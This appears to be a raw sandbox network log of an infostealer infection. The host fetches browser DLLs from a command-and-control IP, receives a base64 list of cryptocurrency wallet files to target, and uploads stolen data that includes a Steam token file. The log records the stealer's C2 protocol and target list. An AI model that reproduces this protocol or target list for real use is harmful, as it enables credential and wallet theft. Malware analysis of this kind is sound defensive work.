Nov 1, 2024 13:42:15.108858109 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 1, 2024 13:42:15.108881950 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 1, 2024 13:42:15.108896017 CET	424	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 1, 2024 13:42:15.108906984 CET	1236	IN	Data Raw: 0f b6 fb 31 54 24 44 81 e1 00 ff 00 00 09 c1 09 cf 89 7c 24 40 80 7c 24 07 00 74 10 8b 5c 24 28 e9 a7 00 00 00 0f 1f 80 00 00 00 00 8b 44 24 08 80 ec 01 8b 5c 24 28 73 46 8b 44 24 0c 2c 01 89 44 24 0c 73 40 8b 44 24 10 2c 01 89 44 24 10 73 3c 8b Data Ascii: 1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?D$D$1D$L$D$D$D$D$f.DD$HjD$DPjL$HQPt$@m
Nov 1, 2024 13:42:15.108920097 CET	1236	IN	Data Raw: 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 8b 55 d0 89 10 b9 03 e0 ff ff 3b 55 14 8b 5d d4 77 22 31 ff 8b 45 0c 39 c6 74 3a 52 56 50 e8 20 01 08 00 eb 2d bf ff ff ff ff eb 3a b9 02 e0 ff ff 8b 5d d4 Data Ascii: )M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}
Nov 1, 2024 13:42:15.108932018 CET	424	IN	Data Raw: 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 Data Ascii: jWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]
Nov 1, 2024 13:42:15.109163046 CET	1236	IN	Data Raw: ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 14 8b 45 10 8b 18 ff 15 00 80 0a 10 53 8b 5d 0c 53 56 ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 18 ff 15 00 80 0a 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 Data Ascii: 7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]Uh
Nov 1, 2024 13:42:15.109190941 CET	1236	IN	Data Raw: 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f Data Ascii: }$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}
Nov 1, 2024 13:42:15.109205008 CET	1236	IN	Data Raw: 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 Data Ascii: tFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU
Nov 1, 2024 13:42:18.175785065 CET	93	OUT	GET /70d63ca8a5be6cc3/mozglue.dll HTTP/1.1 Host: 95.215.207.176 Cache-Control: no-cache
Nov 1, 2024 13:42:18.422521114 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 1, 2024 13:42:19.701292992 CET	94	OUT	GET /70d63ca8a5be6cc3/msvcp140.dll HTTP/1.1 Host: 95.215.207.176 Cache-Control: no-cache
Nov 1, 2024 13:42:19.948117018 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 1, 2024 13:42:20.605484962 CET	90	OUT	GET /70d63ca8a5be6cc3/nss3.dll HTTP/1.1 Host: 95.215.207.176 Cache-Control: no-cache
Nov 1, 2024 13:42:20.852272034 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 1, 2024 13:42:23.030260086 CET	94	OUT	GET /70d63ca8a5be6cc3/softokn3.dll HTTP/1.1 Host: 95.215.207.176 Cache-Control: no-cache
Nov 1, 2024 13:42:23.277565956 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 1, 2024 13:42:23.673868895 CET	98	OUT	GET /70d63ca8a5be6cc3/vcruntime140.dll HTTP/1.1 Host: 95.215.207.176 Cache-Control: no-cache
Nov 1, 2024 13:42:23.921255112 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 1, 2024 13:42:24.582918882 CET	202	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJJKKJJDAAAAAKFHJJ Host: 95.215.207.176 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 13:42:24.849850893 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 13:42:25.029366016 CET	468	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHID Host: 95.215.207.176 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="message"wallets------ECGDAAFIIJDAAAAKFHID--
Nov 1, 2024 13:42:25.278060913 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 1, 2024 13:42:25.281495094 CET	466	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECG Host: 95.215.207.176 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 2d 2d 0d 0a Data Ascii: ------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="message"files------GIJDAFBKFIECBGCAKECG--
Nov 1, 2024 13:42:25.530345917 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 13:42:25.806829929 CET	564	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHC Host: 95.215.207.176 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="file"------AFCAAEGDBKJJKECBKFHC--
Nov 1, 2024 13:42:26.056950092 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 13:42:26.223321915 CET	204	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAECAECFCAAEBFHIEHD Host: 95.215.207.176 Content-Length: 114823 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 13:42:26.860287905 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
